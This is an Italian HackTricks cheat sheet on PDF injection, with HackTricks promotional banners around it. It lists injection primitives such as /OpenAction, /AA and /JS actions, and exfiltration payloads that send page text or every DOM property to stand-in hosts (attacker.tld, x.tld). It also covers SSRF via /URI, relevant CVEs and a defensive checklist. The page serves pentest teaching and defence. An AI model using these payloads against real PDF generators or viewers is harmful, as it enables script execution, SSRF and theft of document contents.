PDF Injection
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Se il tuo input viene riflesso all’interno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript, causare SSRF o rubare il contenuto del PDF. La sintassi PDF è estremamente permissiva – se riesci a uscire dalla stringa o dal dizionario che incapsula il tuo input, puoi aggiungere nuovi oggetti (o nuove chiavi nello stesso oggetto) che Acrobat/Chrome parseranno senza problemi. Dal 2024 un’ondata di report bug-bounty ha mostrato che basta una parentesi non escapata o un backslash per ottenere l’esecuzione completa di uno script.
TL;DR – Flusso d’attacco moderno (2024-2026)
- Trova qualsiasi valore controllato dall’utente che finisca all’interno di una (parenthesis string),
/URI ( … )o campo/JS ( … )nel PDF generato. - Inietta
)(chiudendo la stringa) seguito da uno dei primitivi qui sotto e termina con un’altra parentesi aperta per mantenere la sintassi valida. - Consegna il PDF malevolo a una vittima (o a un servizio backend che rende automaticamente il file – ottimo per bug blind).
- Il tuo payload viene eseguito nel viewer PDF:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (see CVE-2024-4367)
- Acrobat → API JavaScript completa (può esfiltrare contenuti di file arbitrari con
this.getPageNthWord)
Example (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
La prima ) chiude la stringa URI originale, poi aggiungiamo un nuovo dizionario Action che Acrobat eseguirà quando l’utente clicca il link.
Utile Injection Primitives
| Obiettivo | Payload Snippet | Note |
|---|---|---|
| JavaScript on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Esegue istantaneamente quando il documento viene aperto (funziona in Acrobat, non in Chrome). |
| JavaScript on link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Funziona in PDFium & Acrobat se controlli un’annotazione /Link. |
| Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Combinalo con this.getPageNthWord dentro JS per esfiltrare contenuto. |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | Stesso concetto di sopra ma indirizza un URL interno – ottimo quando il PDF è renderizzato da servizi back-office che rispettano /URI. |
| Additional Actions (/AA) | /AA << /O << /S /JavaScript /JS (app.alert(1)) >> >> | Allega a un dizionario Page/Annotation/Form per eseguire all’apertura/alla messa a fuoco. |
| Line Break for new objects | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Se la libreria ti permette di iniettare caratteri di nuova linea puoi creare oggetti completamente nuovi. |
Embedded Actions as Injection Targets
I visualizzatori PDF trattano le embedded actions come /OpenAction e /AA (Additional Actions) come funzionalità di prima classe che possono essere eseguite quando un documento si apre o quando scatta un evento specifico. Se puoi iniettare in qualsiasi dizionario che accetta actions (Catalog, Page, Annotation, or Form field), puoi innestare un albero /AA e attivare JavaScript all’apertura/alla messa a fuoco.
Esempio di payload per generator-side object injection (chiudi la stringa/dizionario originale e inietta /AA):
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
Questo pattern corrisponde a recenti problemi di jsPDF in cui input controllati dall’attaccante passati a addJS (o ad alcuni campi AcroForm) interrompono la stringa JavaScript prevista e iniettano un dizionario Additional Action.
Blind Enumeration Trick
Gareth Heyes (PortSwigger) ha rilasciato una one-liner che elenca ogni oggetto all’interno di un documento sconosciuto – utile quando non puoi vedere il PDF generato:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Il codice itera sull’Acrobat DOM ed effettua richieste in uscita per ogni coppia proprietà/valore, fornendoti un dump JSON-ish del file. Vedi il white-paper “Portable Data exFiltration” per la tecnica completa.
Vulnerabilità reali (2023-2026)
- CVE-2026-25755 – jsPDF
addJSPDF object injection: stringhe controllate dall’attaccante possono chiudere il literal JS e iniettare azioni/AA→/O→/JavaScriptche si attivano all’apertura/allo focus. - CVE-2024-4367 – Esecuzione arbitraria di JavaScript in PDF.js di Firefox prima della 4.2.67 che ha bypassato la sandbox tramite una azione
/JavaScriptappositamente costruita. - Bug bounty 2024-05 – Una importante fintech ha permesso note delle fatture fornite dai clienti che finivano in
/URI; report pagato $10k dopo dimostrato SSRF verso un host metadata interno usando URIfile:///. - CVE-2023-26155 –
node-qpdfcommand-injection tramite percorso PDF non sanificato mostra l’importanza dell’escape di backslash e parentesi anche prima del livello PDF.
Scheda rapida difensiva
- Non concatenare mai input utente grezzo all’interno di stringhe o nomi delimitati da
(…). Esegui l’escape di\,(,)come richiesto da §7.3 della specifica PDF oppure usa stringhe esadecimali<...>. - Se costruisci link, preferisci
/URI (https://…)che codifichi completamente con URL-encoding; blocca gli schemijavascript:nei viewer client. - Rimuovi o valida i dizionari
/OpenAction,/AA(additional actions),/Launch,/SubmitForme/ImportDataquando effettui post-processing sui PDF. - Lato server, renderizza i PDF non affidabili con un converter headless (es. qpdf –decrypt –linearize) che rimuove JavaScript e azioni esterne.
- Tieni aggiornati i viewer PDF; PDF.js < 4.2.67 e Acrobat Reader prima delle patch di luglio 2024 consentono esecuzione di codice banale.
- Se usi generatori client-side (es. jsPDF), non passare mai input non affidabile a
addJSo ai setter di AcroForm che finiscono nei dizionari di azione PDF.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (aggiornato maggio 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (aprile 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
- GitLab Advisory Database, “CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method” (febbraio 2026). https://advisories.gitlab.com/pkg/npm/jspdf/CVE-2026-25755/
- Adobe Acrobat Help, “Acrobat shows a warning message when signing documents” (settembre 2025) – azioni incorporate come OpenAction/AA. https://helpx.adobe.com/acrobat/kb/embedded-action-signing-warning.html
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


